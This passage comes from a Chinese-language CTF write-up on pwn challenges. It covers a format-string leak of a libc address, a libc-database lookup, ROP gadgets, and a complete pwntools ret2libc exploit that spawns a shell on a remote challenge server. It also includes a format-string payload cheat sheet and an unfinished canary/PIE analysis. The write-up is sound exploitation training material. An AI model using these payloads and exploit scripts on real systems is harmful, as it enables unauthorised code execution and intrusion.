│ │ 0x004008af bf00000000 mov edi, 0 ; int status
│ │ 0x004008b4 e8a7fdffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from main @ 0x4008a3
│ └──> 0x004008b9 bff8094000 mov edi, str.: ; 0x4009f8 ; const char *s
│ 0x004008be e83dfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x004008c3 b800000000 mov eax, 0
│ 0x004008c8 c9 leave
└ 0x004008c9 c3 ret

可以看出main函数将第一条输入输出四次,第一次存在格式化字符串漏洞。然后将第二条输入准对两个字符串进行搜索,若都含有则继续执行到ret,否则调用exit。第二次读入存在栈溢出(0x40>0x20)

查看第二次输入需要的两条字符串

1
2
3
4
[0x004006a0]> ps @ 0x4009ba
\xe7\x9c\x9f\xe9\xa6\x99
[0x004006a0]> ps @ 0x4009b3
\xe9\xb8\xbd\xe5\xad\x90

1
2
3
4
5
6
7
8
$python
Python 3.8.1 (default, Jan 22 2020, 06:38:00)
[GCC 9.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> br'\xe7\x9c\x9f\xe9\xa6\x99'.decode('unicode-escape').encode('latin1').decode('utf-8')
'真香'
>>> br'\xe9\xb8\xbd\xe5\xad\x90'.decode('unicode-escape').encode('latin1').decode('utf-8')
'鸽子'

本地测试验证一下逻辑和格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$./human 
人类的本质是什么?

%11$p
0x7f56172cd023
%11$p

%11$p

%11$p

一位群友打烂了复读机!

人类还有什么本质?
鸽子真香
人类的三大本质:复读机,真香,鸽子

验证通过,并读取了main函数在本地运行时的返回地址,其中%11$p的计算方法:sym.imp.__libc_start_main_ret地址的偏移为 0x28/8.0 + 6 (64位elf前6个参数为寄存器传参) = 11。%p表示打印指针,11$表示打印第11个,这里刚好对应__libc_start_main_ret地址

格式化字符串漏洞的利用payload总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
32位



'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)


'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节

////////////////////////////
64位



'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)


'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节

%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

关于11的确定,参考gdb调试时栈中状态

1
2
3
4
5
6
7
8
0x00007ffcf86c5400│+0x0000: 0x0000007024313125 ("%11$p"?)        ← $rsp, $rsi
0x00007ffcf86c5408│+0x0008: 0x0000000000000000
x00007ffcf86c5410│+0x0010: 0x0000000000000000
0x00007ffcf86c5418│+0x0018: 0x0000000000000000
0x00007ffcf86c5420│+0x0020: 0x0000000000000000 ← $rbp
0x00007ffcf86c5428│+0x0028: 0x00007ff3c292c023 → <__libc_start_main+243> mov edi, eax # 0x28/8,字长相关,64位8字节为一单元,32位4字节为一单元
0x00007ffcf86c5430│+0x0030: 0x00007ff3c2b1e5c0 → 0x0005050700000000
0x00007ffcf86c5438│+0x0038: 0x00007ffcf86c5518 → 0x00007ffcf86c64d9 → 0x006e616d75682f2e ("./human"?)

也可以使用pwntools的自动化工具对offset进行测试,然而这题并不适用

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
def exec_fmt(payload):
sh = process('./human')
sh.recvline()
sh.send(payload)
sh.recvline()
result = sh.recvline()
print(result)
sh.close()
return result

autofmt = FmtStr(exec_fmt)
print(autofmt.offset)

ret2libc这一技巧的关键在于确定加载阶段libc的地址,libc中函数的真实地址 = 基地址 + 偏移量,偏移量与libc版本有关,基地址每次都会变化,但是低3位为0。也就是说,拿到某个libc函数的地址后,可以根据后三位得到libc版本,随后就可以得到加载时的基地址(因为函数间偏移量不变,其实确定版本号后,可以根据目标函数和当前函数的偏移量,直接计算出目标函数的真实地址)

拿到__libc_start_main_ret地址后还需要确定libc版本,在题目没有给出版本的情况下,针对格式化字符串和ROP有两种方法获得版本。第一种,上文提到libc基地址的低3位为0,那么格式化字符串泄漏的__libc_start_main_ret地址的低3位也是不变的,可以查到libc版本。第二种,构造ROP链,在函数返回时跳转到pop rdi; ret,将__libc_start_main的地址pop入rdi,然后调用sym.imp.puts函数,将真实的__libc_start_main地址打印出来

以下是利用ROP链读取__libc_start_main地址的脚本(参考https://tasteofsecurity.com/security/ret2libc-unknown-libc/)。在这题里只能输入0x40个字节,前0x20+8用来填充缓冲区和覆盖rbp,剩下有24个字节空间,能输入3个指针,分别对应pop rdi; ret、__libc_start_main的symbol地址、sym.imp.puts的symbol地址,理论上可以读出__libc_start_main的真实地址。但是,ROP链结束后无法回到main函数,会crash,然后重启,libc的加载地址又会发生变化,因此这题无法利用。针对栈溢出字节数不足的情况,可以考虑使用栈迁移,分多次将数据(如shellcode)写入一段连续的内存中,但这里也是不够的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

sh = process('./human')

context.terminal = ['tmux','splitw','-h']
gdb.attach(proc.pidof(sh)[0],gdbscript="b main")

print(sh.recvline())

# read ret address of libc_start_main from stack
sh.send('%11$p') # ?
sh.recvline()
libc_start_main_ret_addr = int(sh.recvline()[2:-6], 16)
print('libc_start_main_ret_addr: ', libc_start_main_ret_addr)

print(sh.recvuntil("人类还有什么本质?"))

padding = bytes('鸽子真香'.ljust(0x20+8, "A"), 'utf-8') # ljust在字符串末尾插入了其他字符,导致ROP构造不成功,因此还是手动构造
padding = bytes("鸽子真香", 'utf-8') + b"A" * (0x20+8-12) # '鸽子真香'每个字符占3字节
rop_gadget = p64(0x400933) # pop rdi; ret
LIBC_START_MAIN = p64(0x400640) # sym.imp.libc_start_main
PUTS = p64(0x400600) # sym.imp.puts
payload = padding + rop_gadget + LIBC_START_MAIN + PUTS
print(len(payload), payload)
sh.send(payload)

sh.recvuntil("人类的三大本质:复读机,真香,鸽子")
recieved = sh.recvline().strip()
leak = u64(recieved.ljust(8, b"\x00"))
print(hex(leak))

#sh.interactive()
sh.close()

连接题目地址,直接利用printf泄漏出__libc_start_main_ret地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$nc 114.116.54.89 10005
人类的本质是什么?

%11$p
0x7fc468e9f830
%11$p

%11$p

%11$p

一位群友打烂了复读机!

人类还有什么本质?

通过libc-database查询libc版本,并获取相关地址

1
2
3
4
5
6
7
8
9
10
11
12
$./find __libc_start_main_ret 0x7fc468e9f830
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
archive-glibc (id libc6_2.23-0ubuntu3_amd64)

$./dump libc6_2.23-0ubuntu10_amd64
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57

至此,我们已经可以在一次执行中获取到__libc_start_main_ret地址,并可以推断出libc加载基地址和system/bin/bash地址,可以构造ROP链进行攻击

寻找ROP gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ROPgadget --binary human --only 'pop|ret'
Gadgets information
============================================================
0x000000000040092c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040092e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400930 : pop r14 ; pop r15 ; ret
0x0000000000400932 : pop r15 ; ret
0x000000000040092b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040092f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop rbp ; ret
0x0000000000400933 : pop rdi ; ret
0x0000000000400931 : pop rsi ; pop r15 ; ret
0x000000000040092d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005e9 : ret

Unique gadgets found: 11

获取到pop rdi; ret的地址为0x0000000000400933,编写利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

sh = remote("114.116.54.89", 10005)
print(sh.recvline())

# read ret address of libc_start_main from stack
sh.send('%11$p') # ?
sh.recvline()
libc_start_main_ret_addr = int(sh.recvline()[2:-6], 16)
print('libc_start_main_ret_addr: ', hex(libc_start_main_ret_addr))

# offset_system - offset___libc_start_main_ret = system - __libc_start_main_ret
# = 0x0000000000045390 - 0x20830 = 0x24b60
system_addr = libc_start_main_ret_addr + 0x24b60
# 同理
bin_bash_addr = libc_start_main_ret_addr + 0x16c527

print(sh.recvuntil("人类还有什么本质?"))

padding = bytes('鸽子真香'.ljust(0x20+8, "A"), 'utf-8') # ljust在字符串末尾插入了其他字符,导致ROP构造不成功,因此还是手动构造
padding = bytes("鸽子真香", 'utf-8') + b"A" * (0x20+8-12) # '鸽子真香'每个字符占3字节
rop_gadget = p64(0x400933) # pop rdi; ret
payload = padding + rop_gadget + p64(bin_bash_addr) + p64(system_addr)
print(len(payload))
sh.send(payload)

sh.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
$python pwn5.py 
[+] Opening connection to 114.116.54.89 on port 10005: Done
b'\xe4\xba\xba\xe7\xb1\xbb\xe7\x9a\x84\xe6\x9c\xac\xe8\xb4\xa8\xe6\x98\xaf\xe4\xbb\x80\xe4\xb9\x88?\n'
libc_start_main_ret_addr: 0x7f81e25fb830
b'%11$p\n%11$p\n\xe4\xb8\x80\xe4\xbd\x8d\xe7\xbe\xa4\xe5\x8f\x8b\xe6\x89\x93\xe7\x83\x82\xe4\xba\x86\xe5\xa4\x8d\xe8\xaf\xbb\xe6\x9c\xba!\n\n\xe4\xba\xba\xe7\xb1\xbb\xe8\xbf\x98\xe6\x9c\x89\xe4\xbb\x80\xe4\xb9\x88\xe6\x9c\xac\xe8\xb4\xa8?'
64
[*] Switching to interactive mode

人类的三大本质:复读机,真香,鸽子
$ cat flag
flag{as67sdf834ht98e7sdyf9348yf0y}$
[*] Interrupted

pwn3

checksec,发现开启了canary、NX、PIE

1
2
3
$checksec --file=read_note 
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 86 Symbols Yes 0 3 read_note

rabin2查看信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$rabin2 -I read_note 
arch x86
baddr 0x0
binsz 13860
bintype elf
bits 64
canary true
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic true
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true

$rabin2 -z read_note
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000e28 0x00000e28 26 27 .rodata ascii welcome to noteRead system
1 0x00000e48 0x00000e48 43 44 .rodata ascii there is there notebook: flag, flag1, flag2
2 0x00000e74 0x00000e74 29 30 .rodata ascii Please input the note path:
3 0x00000e94 0x00000e94 16 17 .rodata ascii note path false!
4 0x00000ea5 0x00000ea5 16 17 .rodata ascii write some note:
5 0x00000eb6 0x00000eb6 28 29 .rodata ascii please input the note len:
6 0x00000ed6 0x00000ed6 22 23 .rodata ascii please input the note:
7 0x00000eed 0x00000eed 13 14 .rodata ascii the note is:
8 0x00000f00 0x00000f00 32 33 .rodata ascii error: the note len must be 624
9 0x00000f28 0x00000f28 34 35 .rodata ascii so please input note(len is 624)

列出函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[0x00000970]> afl
0x00000970 1 41 entry0
0x00000920 1 6 sym.imp.__libc_start_main
0x000009a0 4 50 -> 44 sym.deregister_tm_clones
0x000009e0 4 66 -> 57 sym.register_tm_clones
0x00000a30 5 50 entry.fini0
0x00000a70 4 48 -> 42 entry.init0
0x00000e10 1 2 sym.__libc_csu_fini
0x00000d35 3 106 sym.noteRead
0x000008c0 1 6 sym.imp.fread
0x000008e0 1 6 sym.imp.strlen
0x00000e14 1 9 sym._fini
0x00000da0 4 101 sym.__libc_csu_init
0x00000d20 1 21 main
0x00000aa0 10 640 sym.vul
0x00000878 3 26 sym._init
0x000008b0 1 6 sym.imp.puts
0x000008d0 1 6 sym.imp.fclose
0x000008f0 1 6 sym.imp.__stack_chk_fail
0x00000900 1 6 sym.imp.memset
0x00000910 1 6 sym.imp.read
0x00000930 1 6 sym.imp.setvbuf
0x00000940 1 6 sym.imp.fopen
0x00000950 1 6 sym.imp.__isoc99_scanf
0x00000000 11 346 -> 362 loc.imp._ITM_deregisterTMCloneTable
[0x00000970]>

反编译main函数

1
2
3
4
5
6
7
8
9
10
[0x00000970]> pdf @main
┌ 21: int main (int argc, char **argv, char **envp);
│ ; DATA XREF from entry0 @ 0x98d
│ 0x00000d20 55 push rbp ; .//rop1.c:53
│ 0x00000d21 4889e5 mov rbp, rsp
│ 0x00000d24 b800000000 mov eax, 0 ; .//rop1.c:54
│ 0x00000d29 e872fdffff call sym.vul
│ 0x00000d2e b800000000 mov eax, 0
│ 0x00000d33 5d pop rbp ; .//rop1.c:55
└ 0x00000d34 c3 ret

反编译sym.vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
[0x00000970]> pdf @sym.vul
┌ 640: sym.vul ();
│ ; var size_t nbyte @ rbp-0x4ec
│ ; var file*stream @ rbp-0x4e8
│ ; var char *filename @ rbp-0x4e0
│ ; var char *s @ rbp-0x4c0
│ ; var char *buf @ rbp-0x260
│ ; var int64_t canary @ rbp-0x8
│ ; CALL XREF from main @ 0xd29
│ 0x00000aa0 55 push rbp ; .//rop1.c:6
│ 0x00000aa1 4889e5 mov rbp, rsp ; /types.h:125
│ 0x00000aa4 4881ecf00400. sub rsp, 0x4f0 ; /types.h:459
│ 0x00000aab 64488b042528. mov rax, qword fs:[0x28] ; .//rop1.c:6
│ 0x00000ab4 488945f8 mov qword [canary], rax ; /types.h:2483
│ 0x00000ab8 31c0 xor eax, eax
│ 0x00000aba 488b05cf1520. mov rax, qword [obj.stdin] ; .//rop1.c:7 ; obj.stdin__GLIBC_2.2.5
│ ; [0x202090:8]=0
│ 0x00000ac1 b900000000 mov ecx, 0 ; /types.h:4325 ; size_t size
│ 0x00000ac6 ba02000000 mov edx, 2 ; /types.h:4932 ; int mode
│ 0x00000acb be00000000 mov esi, 0 ; /types.h:6088 ; char *buf
│ 0x00000ad0 4889c7 mov rdi, rax ; FILE*stream
│ 0x00000ad3 e858feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00000ad8 488b05a11520. mov rax, qword [obj.stdout] ; .//rop1.c:8 ; rdi
│ ; [0x202080:8]=0
│ 0x00000adf b900000000 mov ecx, 0 ; size_t size
│ 0x00000ae4 ba02000000 mov edx, 2 ; int mode
│ 0x00000ae9 be00000000 mov esi, 0 ; char *buf
│ 0x00000aee 4889c7 mov rdi, rax ; FILE*stream
│ 0x00000af1 e83afeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00000af6 488d8540fbff. lea rax, [s] ; .//rop1.c:14
│ 0x00000afd ba58020000 mov edx, 0x258 ; size_t n
│ 0x00000b02 be00000000 mov esi, 0 ; int c
│ 0x00000b07 4889c7 mov rdi, rax ; void *s
│ 0x00000b0a e8f1fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x00000b0f 488d8520fbff. lea rax, [filename] ; .//rop1.c:15
│ 0x00000b16 ba14000000 mov edx, 0x14 ; size_t n
│ 0x00000b1b be00000000 mov esi, 0 ; int c
│ 0x00000b20 4889c7 mov rdi, rax ; void *s
│ 0x00000b23 e8d8fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x00000b28 488d85a0fdff. lea rax, [buf] ; .//rop1.c:16
│ 0x00000b2f ba58020000 mov edx, 0x258 ; size_t n
│ 0x00000b34 be00000000 mov esi, 0 ; int c
│ 0x00000b39 4889c7 mov rdi, rax ; void *s
│ 0x00000b3c e8bffdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x00000b41 488d3de00200. lea rdi, str.welcome_to_noteRead_system ; .//rop1.c:18 ; 0xe28 ; "welcome to noteRead system" ; const char *s
│ 0x00000b48 e863fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000b4d 488d3df40200. lea rdi, str.there_is_there_notebook:_flag__flag1__flag2 ; .//rop1.c:19 ; 0xe48 ; "there is there notebook: flag, flag1, flag2" ; const char *s
│ 0x00000b54 e857fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000b59 488d3d140300. lea rdi, str.Please_input_the_note_path: ; .//rop1.c:20 ; 0xe74 ; " Please input the note path:" ; const char *s
│ 0x00000b60 e84bfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000b65 488d8520fbff. lea rax, [filename] ; .//rop1.c:21
│ 0x00000b6c ba14000000 mov edx, 0x14 ; size_t nbyte
│ 0x00000b71 4889c6 mov rsi, rax ; void *buf
│ 0x00000b74 bf00000000 mov edi, 0 ; int fildes
│ 0x00000b79 b800000000 mov eax, 0
│ 0x00000b7e e88dfdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00000b83 488d8520fbff. lea rax, [filename] ; .//rop1.c:23
│ 0x00000b8a 4889c7 mov rdi, rax ; const char *s
│ 0x00000b8d e84efdffff call sym.imp.strlen ; size_t strlen(const char *s)
│ 0x00000b92 4883e801 sub rax, 1
│ 0x00000b96 0fb6840520fb. movzx eax, byte [rbp + rax - 0x4e0]
│ 0x00000b9e 3c0a cmp al, 0xa
│ ┌─< 0x00000ba0 751b jne 0xbbd
│ │ 0x00000ba2 488d8520fbff. lea rax, [filename] ; .//rop1.c:24
│ │ 0x00000ba9 4889c7 mov rdi, rax ; const char *s
│ │ 0x00000bac e82ffdffff call sym.imp.strlen ; size_t strlen(const char *s)
│ │ 0x00000bb1 4883e801 sub rax, 1
│ │ 0x00000bb5 c6840520fbff. mov byte [rbp + rax - 0x4e0], 0
│ │ ; CODE XREF from sym.vul @ 0xba0
│ └─> 0x00000bbd 488d8520fbff. lea rax, [filename] ; .//rop1.c:26
│ 0x00000bc4 4889c7 mov rdi, rax ; const char *s
│ 0x00000bc7 e814fdffff call sym.imp.strlen ; size_t strlen(const char *s)
│ 0x00000bcc 4883f805 cmp rax, 5
│ ┌─< 0x00000bd0 775b ja 0xc2d
│ │ 0x00000bd2 488d8520fbff. lea rax, [filename] ; .//rop1.c:27
│ │ 0x00000bd9 488d35b20200. lea rsi, [0x00000e92] ; "r" ; const char *mode
│ │ 0x00000be0 4889c7 mov rdi, rax ; const char *filename
│ │ 0x00000be3 e858fdffff call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
│ │ 0x00000be8 48898518fbff. mov qword [stream], rax
│ │ 0x00000bef 488d8d40fbff. lea rcx, [s] ; .//rop1.c:28
│ │ 0x00000bf6 488b8518fbff. mov rax, qword [stream]
│ │ 0x00000bfd ba44020000 mov edx, 0x244 ; "nux-x86-64.so.2"
│ │ 0x00000c02 4889ce mov rsi, rcx
│ │ 0x00000c05 4889c7 mov rdi, rax
│ │ 0x00000c08 e828010000 call sym.noteRead ; /types.h:6382
│ │ 0x00000c0d 488d8540fbff. lea rax, [s] ; .//rop1.c:29
│ │ 0x00000c14 4889c7 mov rdi, rax ; const char *s
│ │ 0x00000c17 e894fcffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00000c1c 488b8518fbff. mov rax, qword [stream] ; .//rop1.c:30
│ │ 0x00000c23 4889c7 mov rdi, rax ; FILE *stream
│ │ 0x00000c26 e8a5fcffff call sym.imp.fclose ; int fclose(FILE *stream)
│ ┌──< 0x00000c2b eb0c jmp 0xc39
│ ││ ; CODE XREF from sym.vul @ 0xbd0
│ │└─> 0x00000c2d 488d3d600200. lea rdi, str.note_path_false ; .//rop1.c:33 ; 0xe94 ; "note path false!" ; const char *s
│ │ 0x00000c34 e877fcffff call sym.imp.puts ; int puts(const char *s)
│ │ ; CODE XREF from sym.vul @ 0xc2b
│ └──> 0x00000c39 488d3d650200. lea rdi, str.write_some_note: ; .//rop1.c:36 ; 0xea5 ; "write some note:" ; const char *s
│ 0x00000c40 e86bfcffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000c45 488d3d6a0200. lea rdi, str.please_input_the_note_len: ; .//rop1.c:37 ; 0xeb6 ; " please input the note len:" ; const char *s
│ 0x00000c4c e85ffcffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000c51 c78514fbffff. mov dword [nbyte], 0 ; .//rop1.c:38
│ 0x00000c5b 488d8514fbff. lea rax, [nbyte] ; .//rop1.c:39
│ 0x00000c62 4889c6 mov rsi, rax
│ 0x00000c65 488d3d670200. lea rdi, [0x00000ed3] ; "%d" ; const char *format
│ 0x00000c6c b800000000 mov eax, 0
│ 0x00000c71 e8dafcffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x00000c76 488d3d590200. lea rdi, str.please_input_the_note: ; .//rop1.c:40 ; 0xed6 ; "please input the note:" ; const char *s
│ 0x00000c7d e82efcffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000c82 8b9514fbffff mov edx, dword [nbyte] ; .//rop1.c:41 ; size_t nbyte
│ 0x00000c88 488d85a0fdff. lea rax, [buf]
│ 0x00000c8f 4889c6 mov rsi, rax ; void *buf
│ 0x00000c92 bf00000000 mov edi, 0 ; int fildes
│ 0x00000c97 b800000000 mov eax, 0
│ 0x00000c9c e86ffcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00000ca1 488d3d450200. lea rdi, str.the_note_is: ; .//rop1.c:43 ; 0xeed ; "the note is: " ; const char *s
│ 0x00000ca8 e803fcffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000cad 488d85a0fdff. lea rax, [buf] ; .//rop1.c:44
│ 0x00000cb4 4889c7 mov rdi, rax ; const char *s
│ 0x00000cb7 e8f4fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000cbc 488d85a0fdff. lea rax, [buf] ; .//rop1.c:45
│ 0x00000cc3 4889c7 mov rdi, rax ; const char *s
│ 0x00000cc6 e815fcffff call sym.imp.strlen ; size_t strlen(const char *s)
│ 0x00000ccb 483d70020000 cmp rax, 0x270 ; " "
│ ┌─< 0x00000cd1 7436 je 0xd09
│ │ 0x00000cd3 488d3d260200. lea rdi, str.error:_the_note_len_must_be__624 ; .//rop1.c:46 ; 0xf00 ; "error: the note len must be 624" ; const char *s
│ │ 0x00000cda e8d1fbffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00000cdf 488d3d420200. lea rdi, str.so_please_input_note_len_is_624 ; .//rop1.c:47 ; 0xf28 ; " so please input note(len is 624)" ; const char *s
│ │ 0x00000ce6 e8c5fbffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00000ceb 488d85a0fdff. lea rax, [buf] ; .//rop1.c:48
│ │ 0x00000cf2 ba70020000 mov edx, 0x270 ; " " ; size_t nbyte
│ │ 0x00000cf7 4889c6 mov rsi, rax ; void *buf
│ │ 0x00000cfa bf00000000 mov edi, 0 ; int fildes
│ │ 0x00000cff b800000000 mov eax, 0
│ │ 0x00000d04 e807fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ │ ; CODE XREF from sym.vul @ 0xcd1
│ └─> 0x00000d09 90 nop ; .//rop1.c:50
│ 0x00000d0a 488b45f8 mov rax, qword [canary]
│ 0x00000d0e 644833042528. xor rax, qword fs:[0x28]
│ ┌─< 0x00000d17 7405 je 0xd1e
│ │ 0x00000d19 e8d2fbffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.vul @ 0xd17
│ └─> 0x00000d1e c9 leave
└ 0x00000d1f c3 ret

canary位于栈上,用来检测栈溢出,因此需要先读出canary,在构造payload时确保canary位置上的值保持不变

在sym.vul函数中发现两处read()产生的溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
│           0x00000c9c      e86ffcffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00000ca1 488d3d450200. lea rdi, str.the_note_is: ; .//rop1.c:43 ; 0xeed ; "the note is: " ; const char *s
│ 0x00000ca8 e803fcffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000cad 488d85a0fdff. lea rax, [buf] ; .//rop1.c:44
│ 0x00000cb4 4889c7 mov rdi, rax ; const char *s
│ 0x00000cb7 e8f4fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x00000cbc 488d85a0fdff. lea rax, [buf] ; .//rop1.c:45
│ 0x00000cc3 4889c7 mov rdi, rax ; const char *s
│ 0x00000cc6 e815fcffff call sym.imp.strlen ; size_t strlen(const char *s)
│ 0x00000ccb 483d70020000 cmp rax, 0x270 ; " "
│ ┌─< 0x00000cd1 7436 je 0xd09
│ │ 0x00000cd3 488d3d260200. lea rdi, str.error:_the_note_len_must_be__624 ; .//rop1.c:46 ; 0xf00 ; "error: the note len must be 624" ; const char *s
│ │ 0x00000cda e8d1fbffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00000cdf 488d3d420200. lea rdi, str.so_please_input_note_len_is_624 ; .//rop1.c:47 ; 0xf28 ; " so please input note(len is 624)" ; const char *s
│ │ 0x00000ce6 e8c5fbffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00000ceb 488d85a0fdff. lea rax, [buf] ; .//rop1.c:48
│ │ 0x00000cf2 ba70020000 mov edx, 0x270 ; " " ; size_t nbyte
│ │ 0x00000cf7 4889c6 mov rsi, rax ; void *buf
│ │ 0x00000cfa bf00000000 mov edi, 0 ; int fildes
│ │ 0x00000cff b800000000 mov eax, 0
│ │ 0x00000d04 e807fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)

可以利用第一处read()和puts()获取一个值,第二处恢复栈并返回main函数,这样就可以在不crash进程的情况下逐步读取canary,读取libc基地址,ret2libc了

TODO: 接下来还没完成,有空填坑。有待了解的内容:ret2csu、栈迁移、ret2plt

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. pwn1
  3. 3. pwn2
  4. 4. pwn4
  5. 5. pwn5
  6. 6. pwn3
,